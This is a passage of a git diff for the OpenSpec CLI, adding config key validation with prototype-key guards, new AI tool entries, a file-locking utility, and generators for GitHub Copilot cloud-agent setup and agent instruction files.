defaultStore: z + .string() + .optional() + .describe( + 'Store id used as fallback root when no explicit --store, local root, or project-level store: pointer resolves' + ), + // passthrough keeps runtime-managed fields (anonymousId, noticeSeen) valid + // under CLI validate when users only set telemetry.enabled. + telemetry: z + .object({ + enabled: z.boolean().optional(), + }) + .passthrough() + .optional(), }) .passthrough(); @@ -35,7 +49,33 @@ export const DEFAULT_CONFIG: GlobalConfigType = { delivery: 'both', }; -const KNOWN_TOP_LEVEL_KEYS = new Set([...Object.keys(DEFAULT_CONFIG), 'workflows']); +const KNOWN_TOP_LEVEL_KEYS = new Set([ + ...Object.keys(DEFAULT_CONFIG), + 'workflows', + 'defaultStore', + 'telemetry', +]); + +/** Nested keys users may set under `telemetry` via the CLI. */ +const TELEMETRY_SETTABLE_KEYS = new Set(['enabled']); + +/** + * Key segments that would reach the prototype chain instead of the config object. + * Never valid as configuration keys, so rejecting them costs nothing. + */ +const UNSAFE_KEY_SEGMENTS = new Set(['__proto__', 'constructor', 'prototype']); + +function hasUnsafeSegment(keys: string[]): boolean { + return keys.some((key) => UNSAFE_KEY_SEGMENTS.has(key)); +} + +/** + * True when a dot-notation key path contains a prototype-reaching segment. + * Callers that bypass key validation (e.g. --allow-unknown) still must not bypass this. + */ +export function hasUnsafeKeySegment(path: string): boolean { + return hasUnsafeSegment(path.split('.')); +} /** * Validate a config key path for CLI set operations. @@ -48,6 +88,11 @@ export function validateConfigKeyPath(path: string): { valid: boolean; reason?: return { valid: false, reason: 'Key path must not be empty' }; } + const unsafeKey = rawKeys.find((key) => UNSAFE_KEY_SEGMENTS.has(key)); + if (unsafeKey) { + return { valid: false, reason: `Key segment "${unsafeKey}" is not allowed` }; + } + const rootKey = rawKeys[0]; if (!KNOWN_TOP_LEVEL_KEYS.has(rootKey)) { return { valid: false, reason: `Unknown top-level key "${rootKey}"` }; @@ -60,6 +105,19 @@ export function validateConfigKeyPath(path: string): { valid: boolean; reason?: return { valid: true }; } + if (rootKey === 'telemetry') { + if (rawKeys.length === 1) { + return { valid: false, reason: 'Set nested keys under telemetry (e.g. telemetry.enabled)' }; + } + if (rawKeys.length !== 2 || !TELEMETRY_SETTABLE_KEYS.has(rawKeys[1])) { + return { + valid: false, + reason: `Unknown telemetry key "${rawKeys.slice(1).join('.')}" (allowed: enabled)`, + }; + } + return { valid: true }; + } + if (rawKeys.length > 1) { return { valid: false, reason: `"${rootKey}" does not support nested keys` }; } @@ -76,6 +134,9 @@ export function validateConfigKeyPath(path: string): { valid: boolean; reason?: */ export function getNestedValue(obj: Record<string, unknown>, path: string): unknown { const keys = path.split('.'); + if (hasUnsafeSegment(keys)) { + return undefined; + } let current: unknown = obj; for (const key of keys) { @@ -101,6 +162,16 @@ export function getNestedValue(obj: Record<string, unknown>, path: string): unkn */ export function setNestedValue(obj: Record<string, unknown>, path: string, value: unknown): void { const keys = path.split('.'); + + // Compared literally rather than through a helper, so the guard is plain to a + // reader and to static analysis. Checked for the whole path before anything is + // written, so a rejected key never leaves half-created objects behind. + for (const key of keys) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') { + return; + } + } + let current: Record<string, unknown> = obj; for (let i = 0; i < keys.length - 1; i++) { @@ -124,6 +195,13 @@ export function setNestedValue(obj: Record<string, unknown>, path: string, value */ export function deleteNestedValue(obj: Record<string, unknown>, path: string): boolean { const keys = path.split('.'); + + for (const key of keys) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') { + return false; + } + } + let current: Record<string, unknown> = obj; for (let i = 0; i < keys.length - 1; i++) { @@ -146,13 +224,17 @@ export function deleteNestedValue(obj: Record<string, unknown>, path: string): b * Coerce a string value to its appropriate type. * - "true" / "false" -> boolean * - Numeric strings -> number + * - JSON arrays/objects -> parsed containers * - Everything else -> string * * @param value - The string value to coerce * @param forceString - If true, always return the value as a string * @returns The coerced value */ -export function coerceValue(value: string, forceString: boolean = false): string | number | boolean { +export function coerceValue( + value: string, + forceString: boolean = false +): string | number | boolean | unknown[] | Record<string, unknown> { if (forceString) { return value; } @@ -171,9 +253,39 @@ export function coerceValue(value: string, forceString: boolean = false): string return num; } + const jsonContainer = parseJsonContainer(value); + if (jsonContainer !== undefined) { + return jsonContainer; + } + return value; } +function parseJsonContainer(value: string): unknown[] | Record<string, unknown> | undefined { + const trimmed = value.trim(); + const looksLikeContainer = + (trimmed.startsWith('[') && trimmed.endsWith(']')) || + (trimmed.startsWith('{') && trimmed.endsWith('}')); + + if (!looksLikeContainer) { + return undefined; + } + + try { + const parsed: unknown = JSON.parse(trimmed); + if (Array.isArray(parsed)) { + return parsed; + } + if (parsed !== null && typeof parsed === 'object') { + return parsed as Record<string, unknown>; + } + } catch { + return undefined; + } + + return undefined; +} + /** * Format a value for YAML-like display. * diff --git a/src/core/config.ts b/src/core/config.ts index 4e6bb24b58..4e027d28fb 100644 --- a/src/core/config.ts +++ b/src/core/config.ts @@ -1,5 +1,20 @@ export const OPENSPEC_DIR_NAME = 'openspec'; +export const OPENSPEC_SKILL_NAMES = [ + 'openspec-explore', + 'openspec-new-change', + 'openspec-continue-change', + 'openspec-apply-change', + 'openspec-update-change', + 'openspec-ff-change', + 'openspec-sync-specs', + 'openspec-archive-change', + 'openspec-bulk-archive-change', + 'openspec-verify-change', + 'openspec-onboard', + 'openspec-propose', +] as const; + export const OPENSPEC_MARKERS = { start: '<!-- OPENSPEC:START -->', end: '<!-- OPENSPEC:END -->' @@ -15,7 +30,10 @@ export interface AIToolOption { available: boolean; successLabel?: string; skillsDir?: string; // e.g., '.claude' - /skills suffix per Agent Skills spec + legacySkillsDirs?: string[]; // Former roots read for detection and migrated after replacement + globalSkillsDir?: string; // e.g., '.minimax' - /skills suffix, resolved from the user's home directory detectionPaths?: string[]; // Override skillsDir for auto-detection; any path existing triggers detection + setupNote?: string; // Manual setup required before the tool picks up generated files; shown after init/update } export const AI_TOOLS: AIToolOption[] = [ @@ -25,7 +43,9 @@ export const AI_TOOLS: AIToolOption[] = [ { name: 'Bob Shell', value: 'bob', available: true, successLabel: 'Bob Shell', skillsDir: '.bob' }, { name: 'Claude Code', value: 'claude', available: true, successLabel: 'Claude Code', skillsDir: '.claude' }, { name: 'Cline', value: 'cline', available: true, successLabel: 'Cline', skillsDir: '.cline' }, - { name: 'Codex', value: 'codex', available: true, successLabel: 'Codex', skillsDir: '.codex' }, + { name: 'CodeArts', value: 'codeartsagent', available: true, successLabel: 'CodeArts', skillsDir: '.codeartsdoer' }, + { name: 'Codex', value: 'codex', available: true, successLabel: 'Codex', skillsDir: '.agents', legacySkillsDirs: ['.codex'], detectionPaths: ['.agents/skills', '.codex/skills'] }, + { name: 'Devin Desktop (formerly Windsurf)', value: 'devin', available: true, successLabel: 'Devin Desktop', skillsDir: '.devin', detectionPaths: ['.devin', '.windsurf'] }, { name: 'ForgeCode', value: 'forgecode', available: true, successLabel: 'ForgeCode', skillsDir: '.forge' }, { name: 'CodeBuddy Code (CLI)', value: 'codebuddy', available: true, successLabel: 'CodeBuddy Code', skillsDir: '.codebuddy' }, { name: 'Continue', value: 'continue', available: true, successLabel: 'Continue (VS Code / JetBrains / Cli)', skillsDir: '.continue' }, @@ -35,17 +55,46 @@ export const AI_TOOLS: AIToolOption[] = [ { name: 'Factory Droid', value: 'factory', available: true, successLabel: 'Factory Droid', skillsDir: '.factory' }, { name: 'Gemini CLI', value: 'gemini', available: true, successLabel: 'Gemini CLI', skillsDir: '.gemini' }, { name: 'GitHub Copilot', value: 'github-copilot', available: true, successLabel: 'GitHub Copilot', skillsDir: '.github', detectionPaths: ['.github/copilot-instructions.md', '.github/instructions', '.github/workflows/copilot-setup-steps.yml', '.github/prompts', '.github/agents', '.github/skills', '.github/.mcp.json'] }, + { name: 'Hermes Agent', value: 'hermes', available: true, successLabel: 'Hermes Agent', skillsDir: '.hermes', detectionPaths: ['.hermes', 'HERMES.md', '.hermes.md'], setupNote: "Hermes only loads skills from ~/.hermes/skills by default. Add this project's .hermes/skills directory to skills.external_dirs in ~/.hermes/config.yaml so Hermes picks up the generated OpenSpec skills." }, { name: 'iFlow', value: 'iflow', available: true, successLabel: 'iFlow', skillsDir: '.iflow' }, { name: 'Junie', value: 'junie', available: true, successLabel: 'Junie', skillsDir: '.junie' }, { name: 'Kilo Code', value: 'kilocode', available: true, successLabel: 'Kilo Code', skillsDir: '.kilocode' }, + { name: 'Kimi Code', value: 'kimi', available: true, successLabel: 'Kimi Code', skillsDir: '.kimi-code', detectionPaths: ['.kimi-code', '.kimi'] }, { name: 'Kiro', value: 'kiro', available: true, successLabel: 'Kiro', skillsDir: '.kiro' }, + { name: 'Lingma', value: 'lingma', available: true, successLabel: 'Lingma', skillsDir: '.lingma' }, + { name: 'MiniMax Code', value: 'minimax-code', available: true, successLabel: 'MiniMax Code', globalSkillsDir: '.minimax' }, + { name: 'Mistral Vibe', value: 'vibe', available: true, successLabel: 'Mistral Vibe', skillsDir: '.vibe' }, + { name: 'Oh My Pi', value: 'oh-my-pi', available: true, successLabel: 'Oh My Pi', skillsDir: '.omp' }, { name: 'OpenCode', value: 'opencode', available: true, successLabel: 'OpenCode', skillsDir: '.opencode' }, { name: 'Pi', value: 'pi', available: true, successLabel: 'Pi', skillsDir: '.pi' }, { name: 'Qoder', value: 'qoder', available: true, successLabel: 'Qoder', skillsDir: '.qoder' }, - { name: 'Lingma', value: 'lingma', available: true, successLabel: 'Lingma', skillsDir: '.lingma' }, { name: 'Qwen Code', value: 'qwen', available: true, successLabel: 'Qwen Code', skillsDir: '.qwen' }, - { name: 'RooCode', value: 'roocode', available: true, successLabel: 'RooCode', skillsDir: '.roo' }, + { name: 'Rovo Dev CLI', value: 'rovodev', available: true, successLabel: 'Rovo Dev CLI', skillsDir: '.rovodev', detectionPaths: ['.rovodev/skills', '.rovodev'] }, + { name: 'Zoo Code', value: 'roocode', available: true, successLabel: 'Zoo Code', skillsDir: '.roo' }, { name: 'Trae', value: 'trae', available: true, successLabel: 'Trae', skillsDir: '.trae' }, - { name: 'Windsurf', value: 'windsurf', available: true, successLabel: 'Windsurf', skillsDir: '.windsurf' }, - { name: 'AGENTS.md (works with Amp, VS Code, …)', value: 'agents', available: false, successLabel: 'your AGENTS.md-compatible assistant' } + { name: 'ZCode', value: 'zcode', available: true, successLabel: 'ZCode', skillsDir: '.zcode' }, + // Vendor-neutral target for assistants that read the shared `.agents` root. + // Detection keys off `.agents/skills` rather than the bare root: frameworks use + // `.agents/` for more than skills, so the root alone says nothing about skills. + // A project that does keep skills there is a project this target fits, the same + // way `.claude/` selects Claude Code — the signal is the user's setup, not + // OpenSpec's own files. + { name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] } ]; + +/** + * Retired tool ids that still resolve, so a rebrand does not break scripted + * `--tools` invocations. Windsurf was rebranded to Devin Desktop on + * 2026-06-02 and its config directory moved from `.windsurf/` to `.devin/`; + * `--tools windsurf` therefore configures `devin`. + */ +export const TOOL_ID_ALIASES: Record<string, string> = { + windsurf: 'devin', +}; + +/** + * Resolves a tool id through TOOL_ID_ALIASES, leaving current ids untouched. + */ +export function resolveToolIdAlias(toolId: string): string { + return TOOL_ID_ALIASES[toolId] ?? toolId; +} diff --git a/src/core/file-state.ts b/src/core/file-state.ts new file mode 100644 index 0000000000..d712e88fe1 --- /dev/null +++ b/src/core/file-state.ts @@ -0,0 +1,204 @@ +import * as nodeFs from 'node:fs'; +import * as path from 'node:path'; +import { randomUUID } from 'node:crypto'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { StoreError } from './store/errors.js'; + +const fs = nodeFs.promises; + +/** + * Shared machine-local state-file mechanics (extracted from the store + * registry in slice 7.1, its second consumer). Callers own the + * diagnostic data (code, target, wording); the factory owns the + * shared mechanics - the fix strings describe the lock's own + * behavior (stale-steal, creation), so their templates live here. + */ + +export type FileLockErrorKind = 'create-failed' | 'timeout'; + +export interface FileLockErrorInfo { + lockPath: string; + /** The original errno error for 'create-failed'. */ + cause?: unknown; +} + +export interface FileLockOptions { + lockPath: string; + errorFor: (kind: FileLockErrorKind, info: FileLockErrorInfo) => Error; +} + +export interface LockErrorData { + /** Noun phrase for the create-failed message, e.g. "the registry lock file". */ + createSubject: string; + /** The full timeout message, e.g. "Store registry is busy." */ + busyMessage: string; + code: string; + target: string; +} + +/** One template for lock diagnostics; callers supply the data. */ +export function makeLockErrorFactory( + data: LockErrorData +): (kind: FileLockErrorKind, info: FileLockErrorInfo) => StoreError { + return (kind, info) => { + if (kind === 'create-failed') { + // A permission or filesystem problem, not contention - say so. + return new StoreError( + `Cannot create ${data.createSubject} ${info.lockPath} (${(info.cause as NodeJS.ErrnoException)?.code ?? info.cause}).`, + data.code, + { + target: data.target, + fix: `Check permissions on ${path.dirname(info.lockPath)}.`, + } + ); + } + + return new StoreError(data.busyMessage, data.code, { + target: data.target, + fix: `Retry shortly; if this persists, delete the stale lock file ${info.lockPath}.`, + }); + }; +} + +const LOCK_DEADLINE_MS = 5000; +const LOCK_POLL_MS = 25; +const PRIVATE_FILE_MODE = 0o600; +const lockOwnership = new WeakMap<nodeFs.promises.FileHandle, string>(); + +function isUnsupportedSyncError(error: unknown): boolean { + return ( + isNodeErrorCode(error, 'EINVAL') || + isNodeErrorCode(error, 'ENOTSUP') || + isNodeErrorCode(error, 'ENOSYS') + ); +} + +export function isNodeErrorCode(error: unknown, code: string): boolean { + return ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === code + ); +} + +export async function pathIsFile(filePath: string): Promise<boolean> { + try { + return (await fs.stat(filePath)).isFile(); + } catch { + return false; + } +} + +// Deliberately not FileSystemUtils.directoryExists: that variant +// debug-logs non-ENOENT failures, which is noise inside prompt +// validators, and pathIsFile has no FileSystemUtils equivalent - the +// silent symmetric pair lives here. +export async function pathIsDirectory(dirPath: string): Promise<boolean> { + try { + return (await fs.stat(dirPath)).isDirectory(); + } catch { + return false; + } +} + +async function sleep(milliseconds: number): Promise<void> { + await new Promise((resolve) => setTimeout(resolve, milliseconds)); +} + +export async function writeFileAtomically( + filePath: string, + content: string +): Promise<void> { + const dirPath = path.dirname(filePath); + await FileSystemUtils.createDirectory(dirPath); + const tempPath = path.join( + dirPath, + `.${path.basename(filePath)}.${process.pid}.${Date.now()}.${Math.random().toString(36).slice(2)}.tmp` + ); + + try { + await fs.writeFile(tempPath, content, { + encoding: 'utf-8', + mode: PRIVATE_FILE_MODE, + }); + await fs.rename(tempPath, filePath); + } catch (error) { + await fs.rm(tempPath, { force: true }).catch(() => undefined); + throw error; + } +} + +export async function acquireFileLock( + options: FileLockOptions +): Promise<nodeFs.promises.FileHandle> { + const { lockPath, errorFor } = options; + const lockDir = path.dirname(lockPath); + await FileSystemUtils.createDirectory(lockDir); + if (!(await FileSystemUtils.canWriteFile(lockDir))) { + throw errorFor('create-failed', { lockPath, cause: 'EACCES' }); + } + const deadline = Date.now() + LOCK_DEADLINE_MS; + + while (true) { + try { + const lock = await fs.open(lockPath, 'wx', PRIVATE_FILE_MODE); + const ownershipToken = `${process.pid}:${randomUUID()}`; + try { + await lock.writeFile(ownershipToken, 'utf-8'); + try { + await lock.sync(); + } catch (error) { + // Some FUSE and network filesystems support exclusive lock files but + // explicitly do not implement fsync. The token is still visible to + // cooperating processes, so do not make those projects unusable. + if (!isUnsupportedSyncError(error)) { + throw error; + } + } + } catch (error) { + await lock.close().catch(() => undefined); + await fs.rm(lockPath, { force: true }).catch(() => undefined); + throw error; + } + lockOwnership.set(lock, ownershipToken); + return lock; + } catch (error) { + if (!isNodeErrorCode(error, 'EEXIST')) { + // A permission or filesystem problem, not contention - say so. + throw errorFor('create-failed', { lockPath, cause: error }); + } + + // Never steal by age: unlinking a supposedly stale path can race with + // its replacement and erase a live owner's lock. The timeout diagnostic + // gives the user an explicit recovery path for genuinely orphaned locks. + if (Date.now() >= deadline) { + throw errorFor('timeout', { lockPath }); + } + await sleep(LOCK_POLL_MS); + } + } +} + +export async function releaseFileLock( + lock: nodeFs.promises.FileHandle, + lockPath: string +): Promise<void> { + const ownershipToken = lockOwnership.get(lock); + lockOwnership.delete(lock); + await lock.close().catch(() => undefined); + + if (ownershipToken === undefined) { + return; + } + + try { + const currentToken = await fs.readFile(lockPath, 'utf-8'); + if (currentToken === ownershipToken) { + await fs.rm(lockPath, { force: true }); + } + } catch { + // The lock was already removed or replaced with an unreadable path. + // In either case, this owner must not remove anything else. + } +} diff --git a/src/core/github-copilot/cloud-agent.ts b/src/core/github-copilot/cloud-agent.ts new file mode 100644 index 0000000000..551037c919 --- /dev/null +++ b/src/core/github-copilot/cloud-agent.ts @@ -0,0 +1,632 @@ +/** + * GitHub Copilot Cloud Agent Support + * + * Generates copilot-setup-steps.yml and .github/agents/openspec.agent.md + * when the github-copilot tool is selected during init/update. + * These files enable the GitHub Copilot coding agent (cloud) to use the + * OpenSpec CLI in its ephemeral dev environment. + */ + +import path from 'path'; +import { promises as fs } from 'fs'; +import { Document, YAMLMap, parseDocument, isMap } from 'yaml'; +import { FileSystemUtils } from '../../utils/file-system.js'; +import { readProjectConfig, resolveConfigFilePath } from '../project-config.js'; + +const COPILOT_TOOL_ID = 'github-copilot'; +const OPENSPEC_MANAGED_MARKER = 'Generated by OpenSpec for GitHub Copilot coding agent support.'; + +/** + * Check if a tool list includes github-copilot. + */ +export function includesGitHubCopilot(toolIds: string[]): boolean { + return toolIds.includes(COPILOT_TOOL_ID); +} + +/** + * Generate the copilot-setup-steps.yml workflow file content. + * This workflow pre-installs the OpenSpec CLI in the Copilot coding agent's + * ephemeral GitHub Actions environment. + */ +export function generateCopilotSetupSteps(): string { + return `# ${OPENSPEC_MANAGED_MARKER} + +${generateCopilotSetupStepsBody()}`; +} + +function generateCopilotSetupStepsBody(): string { + return `name: "Copilot Setup Steps" + +# Runs automatically when changed (for validation) and can be triggered manually. +on: + workflow_dispatch: + push: + paths: + - .github/workflows/copilot-setup-steps.yml + pull_request: + paths: + - .github/workflows/copilot-setup-steps.yml + +jobs: + # The job MUST be called \`copilot-setup-steps\` for Copilot coding agent to pick it up. + copilot-setup-steps: + runs-on: ubuntu-latest + timeout-minutes: 10 + + permissions: + contents: read + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Install OpenSpec CLI + run: npm install -g @fission-ai/openspec + + - name: Verify OpenSpec CLI + run: openspec --version +`; +} + +/** + * Generate the .github/agents/openspec.agent.md custom agent file content. + * This tells the GitHub Copilot coding agent how to use the OpenSpec CLI. + */ +export function generateCopilotAgentFile(): string { + return generateCopilotAgentFileBody(true); +} + +function generateCopilotAgentFileBody(includeManagedMarker = false): string { + const managedMarker = includeManagedMarker + ? `<!-- ${OPENSPEC_MANAGED_MARKER} -->\n\n` + : ''; + + return `--- +name: OpenSpec +description: "Manages OpenSpec changes, specs, and workflows using the OpenSpec CLI. Use this agent for proposing changes, exploring ideas, validating artifacts, checking status, and archiving completed work." +tools: + - "execute" + - "read" + - "search" + - "edit" +--- + +${managedMarker}# OpenSpec Agent + +You are a specialized agent for managing OpenSpec workflows. Before using the \`openspec\` CLI, run \`openspec --version\`. If it is unavailable, install it with \`npm install -g @fission-ai/openspec\`. + +## What is OpenSpec? + +OpenSpec is a structured change management system for codebases. It organizes work into **changes** with planning artifacts (proposals, specs, designs, tasks) that guide implementation. + +## Available Commands + +### Agent-Compatible CLI Commands (prefer \`--json\` for structured output) + +| Command | Purpose | +|---------|---------| +| \`openspec list [--json]\` | List all changes and specs | +| \`openspec show <item> [--json]\` | View a specific change or spec | +| \`openspec validate [--all] [--json]\` | Validate changes and specs for issues | +| \`openspec status [--change <name>] [--json]\` | Show artifact progress for a change | +| \`openspec instructions [artifact] [--change <name>] [--json]\` | Get next-step instructions for a change | +| \`openspec templates [--json]\` | List available templates | +| \`openspec schemas [--json]\` | List available workflow schemas | +| \`openspec archive <change> --json [--yes]\` | Archive a completed change; use \`--yes\` only after confirming all tasks are complete | + +### Interactive CLI Commands (use when prompted by the user) + +| Command | Purpose | +|---------|---------| +| \`openspec init\` | Initialize OpenSpec in the project | +| \`openspec update\` | Update OpenSpec configuration and artifacts | +| \`openspec view\` | Interactive dashboard | +| \`openspec config\` | View or modify settings | + +## Workflow + +When asked to work with OpenSpec, follow this pattern: + +1. **Find the change**: Run \`openspec list --json\` to see active changes. +2. **Check progress**: Run \`openspec status --change <name> --json\` for the selected change. +3. **Follow instructions**: Run \`openspec instructions [artifact] --change <name> --json\` for the next artifact. +4. **Validate before completing**: Run \`openspec validate <name> --json\`. + +## Creating New Changes + +When the user wants to propose a new change: + +1. Run \`openspec new change <name>\`. +2. Run \`openspec status --change <name> --json\` to see the artifact sequence. +3. Use \`openspec instructions [artifact] --change <name> --json\` before creating each artifact. +4. Run \`openspec validate <name> --json\` when the artifacts are complete. + +## Key Directories + +- \`openspec/\` — Root OpenSpec directory +- \`openspec/changes/\` — Active changes with their artifacts +- \`openspec/config.yaml\` — Project configuration + +## Best Practices + +- Always use \`--json\` flag when you need to parse output programmatically +- Run \`openspec validate\` after creating or modifying artifacts +- Check \`openspec status\` before starting work to understand the current state +- When archiving, ensure all tasks are completed and validated first +`; +} + +function generatePreviousCopilotAgentFileBody(includeManagedMarker = false): string { + let content = generateCopilotAgentFileBody(); + content = replaceRequired( + content, + 'You are a specialized agent for managing OpenSpec workflows. Before using the `openspec` CLI, run `openspec --version`. If it is unavailable, install it with `npm install -g @fission-ai/openspec`.', + 'You are a specialized agent for managing OpenSpec workflows. You have access to the `openspec` CLI through shell commands, pre-installed in the development environment via `copilot-setup-steps.yml`.', + 'previous CLI access sentence' + ); + content = replaceRequired( + content, + '| `openspec archive <change> --json [--yes]` | Archive a completed change; use `--yes` only after confirming all tasks are complete |', + '| `openspec archive <change>` | Archive a completed change |', + 'previous archive command row' + ); + + if (!includeManagedMarker) { + return content; + } + + return replaceRequired( + content, + '\n# OpenSpec Agent', + `\n<!-- ${OPENSPEC_MANAGED_MARKER} -->\n\n# OpenSpec Agent`, + 'previous agent heading' + ); +} + +function generateLegacyCopilotAgentFileBody(): string { + let content = generatePreviousCopilotAgentFileBody(); + content = replaceRequired( + content, + `## Workflow + +When asked to work with OpenSpec, follow this pattern: + +1. **Find the change**: Run \`openspec list --json\` to see active changes. +2. **Check progress**: Run \`openspec status --change <name> --json\` for the selected change. +3. **Follow instructions**: Run \`openspec instructions [artifact] --change <name> --json\` for the next artifact. +4. **Validate before completing**: Run \`openspec validate <name> --json\`. + +## Creating New Changes + +When the user wants to propose a new change: + +1. Run \`openspec new change <name>\`. +2. Run \`openspec status --change <name> --json\` to see the artifact sequence. +3. Use \`openspec instructions [artifact] --change <name> --json\` before creating each artifact. +4. Run \`openspec validate <name> --json\` when the artifacts are complete.`, + `## Workflow + +When asked to work with OpenSpec, follow this pattern: + +1. **Check current state**: Run \`openspec status --json\` to understand what changes exist and their progress. +2. **Follow instructions**: Run \`openspec instructions --json\` to get context-aware next steps. +3. **Validate before completing**: Run \`openspec validate --all --json\` to ensure artifacts are correct. + +## Creating New Changes + +When the user wants to propose a new change: + +1. Create the change directory under \`openspec/changes/<change-name>/\` +2. Generate the required planning artifacts based on the project's configured workflow schema +3. Run \`openspec validate --json\` to verify the artifacts are well-formed`, + 'legacy workflow guidance' + ); + content = replaceRequired( + content, + `tools: + - "execute" + - "read" + - "search" + - "edit"`, + `tools: + - "terminal"`, + 'legacy tool alias' + ); + content = replaceRequired( + content, + 'You are a specialized agent for managing OpenSpec workflows. You have access to the `openspec` CLI through shell commands, pre-installed in the development environment via `copilot-setup-steps.yml`.', + 'You are a specialized agent for managing OpenSpec workflows. You have access to the `openspec` CLI which is pre-installed in the development environment via `copilot-setup-steps.yml`.', + 'legacy CLI access sentence' + ); + content = replaceRequired( + content, + '| `openspec status [--change <name>] [--json]` | Show artifact progress for a change |', + '| `openspec status [--json]` | Show artifact progress for active changes |', + 'legacy status command row' + ); + content = replaceRequired( + content, + '| `openspec instructions [artifact] [--change <name>] [--json]` | Get next-step instructions for a change |', + '| `openspec instructions [--json]` | Get next-step instructions for a change |', + 'legacy instructions command row' + ); + return replaceRequired( + content, + '- `openspec/config.yaml` — Project configuration', + `- \`openspec/config.yaml\` — Project configuration +- \`openspec/explorations/\` — Exploration documents`, + 'legacy exploration directory' + ); +} + +function replaceRequired( + content: string, + searchValue: string, + replaceValue: string, + label: string +): string { + if (!content.includes(searchValue)) { + throw new Error(`Cannot build Copilot cloud file content: missing ${label}`); + } + return content.replace(searchValue, replaceValue); +} + +/** + * File paths (relative to project root) for the generated files. + */ +export const COPILOT_CLOUD_FILES = { + setupSteps: path.join('.github', 'workflows', 'copilot-setup-steps.yml'), + agent: path.join('.github', 'agents', 'openspec.agent.md'), +} as const; + +const COPILOT_AGENT_ALTERNATE_FILE = path.join('.github', 'agents', 'openspec.md'); + +type CopilotCloudFile = (typeof COPILOT_CLOUD_FILES)[keyof typeof COPILOT_CLOUD_FILES]; + +const COPILOT_CLOUD_FILE_CONTENTS: Record<CopilotCloudFile, string> = { + [COPILOT_CLOUD_FILES.setupSteps]: generateCopilotSetupSteps(), + [COPILOT_CLOUD_FILES.agent]: generateCopilotAgentFile(), +}; + +function getLegacyCopilotCloudFileContents(relPath: CopilotCloudFile): string[] { + if (relPath === COPILOT_CLOUD_FILES.setupSteps) { + return [generateCopilotSetupStepsBody()]; + } + + return [ + generateCopilotAgentFileBody(), + generatePreviousCopilotAgentFileBody(), + generatePreviousCopilotAgentFileBody(true), + generateLegacyCopilotAgentFileBody(), + ]; +} + +function normalizeLineEndings(content: string): string { + return content.replace(/\r\n/g, '\n'); +} + +function isCurrentCopilotCloudFile( + relPath: CopilotCloudFile, + content: string +): boolean { + return normalizeLineEndings(content) === COPILOT_CLOUD_FILE_CONTENTS[relPath]; +} + +function isLegacyCopilotCloudFile( + relPath: CopilotCloudFile, + content: string +): boolean { + return getLegacyCopilotCloudFileContents(relPath).includes(normalizeLineEndings(content)); +} + +function isManagedCopilotCloudFile( + relPath: CopilotCloudFile, + content: string +): boolean { + return isCurrentCopilotCloudFile(relPath, content) || isLegacyCopilotCloudFile(relPath, content); +} + +async function reconcileCopilotCloudFile( + fullPath: string, + relPath: CopilotCloudFile +): Promise<boolean> { + const currentContent = COPILOT_CLOUD_FILE_CONTENTS[relPath]; + + if (!(await FileSystemUtils.fileExists(fullPath))) { + await FileSystemUtils.writeFile(fullPath, currentContent); + return true; + } + + const existingContent = await FileSystemUtils.readFile(fullPath); + if (isCurrentCopilotCloudFile(relPath, existingContent)) { + return false; + } + if (!isLegacyCopilotCloudFile(relPath, existingContent)) { + return false; + } + + await FileSystemUtils.writeFile(fullPath, currentContent); + return true; +} + +async function assertCreatableFilePath(filePath: string): Promise<void> { + let candidate = path.dirname(filePath); + + while (true) { + try { + const stats = await fs.stat(candidate); + if (!stats.isDirectory()) { + throw new Error(`Parent path is not a directory: ${candidate}`); + } + return; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') { + throw error; + } + } + + const parent = path.dirname(candidate); + if (parent === candidate) { + throw new Error(`Cannot resolve a directory ancestor for: ${filePath}`); + } + candidate = parent; + } +} + +async function assertMissingOrRegularFile(filePath: string): Promise<void> { + try { + const stats = await fs.stat(filePath); + if (!stats.isFile()) { + throw new Error(`Managed Copilot path is not a regular file: ${filePath}`); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') { + throw error; + } + } +} + +async function classifyCopilotAgentReconciliation( + agentPath: string, + alternateAgentPath: string +): Promise<'reconcile' | 'skip' | 'remove-managed'> { + if (!(await FileSystemUtils.fileExists(alternateAgentPath))) { + return 'reconcile'; + } + if (!(await FileSystemUtils.fileExists(agentPath))) { + return 'skip'; + } + + const existingContent = await FileSystemUtils.readFile(agentPath); + if (isManagedCopilotCloudFile(COPILOT_CLOUD_FILES.agent, existingContent)) { + return 'remove-managed'; + } + + throw new Error( + `Conflicting Copilot agent profiles: preserve either ${COPILOT_AGENT_ALTERNATE_FILE} or ${COPILOT_CLOUD_FILES.agent}` + ); +} + +/** + * Reconcile Copilot cloud agent files in the project directory. + * Creates missing files and refreshes recognized legacy generated files while + * preserving current generated content and user customizations. + * + * @returns Object indicating which files were written. + */ +export async function writeCopilotCloudFiles( + projectPath: string +): Promise<{ setupStepsWritten: boolean; agentWritten: boolean }> { + const setupStepsPath = FileSystemUtils.resolveProjectArtifactPath( + projectPath, + COPILOT_CLOUD_FILES.setupSteps + ); + const agentPath = FileSystemUtils.resolveProjectArtifactPath( + projectPath, + COPILOT_CLOUD_FILES.agent + ); + const alternateAgentPath = FileSystemUtils.resolveProjectArtifactPath( + projectPath, + COPILOT_AGENT_ALTERNATE_FILE + ); + + await assertCreatableFilePath(setupStepsPath); + await assertCreatableFilePath(agentPath); + await assertMissingOrRegularFile(setupStepsPath); + await assertMissingOrRegularFile(agentPath); + await assertMissingOrRegularFile(alternateAgentPath); + const agentReconciliation = await classifyCopilotAgentReconciliation( + agentPath, + alternateAgentPath + ); + + const setupStepsWritten = await reconcileCopilotCloudFile( + setupStepsPath, + COPILOT_CLOUD_FILES.setupSteps + ); + let agentWritten = false; + if (agentReconciliation === 'reconcile') { + agentWritten = await reconcileCopilotCloudFile(agentPath, COPILOT_CLOUD_FILES.agent); + } else if (agentReconciliation === 'remove-managed') { + await fs.unlink(agentPath); + } + + return { setupStepsWritten, agentWritten }; +} + +/** + * Remove copilot cloud agent files from the project directory. + * Used when github-copilot is deselected. + * + * @returns Number of files removed. + */ +export async function removeCopilotCloudFiles(projectPath: string): Promise<number> { + let removed = 0; + const managedPaths = Object.values(COPILOT_CLOUD_FILES).map((relPath) => ({ + relPath, + fullPath: 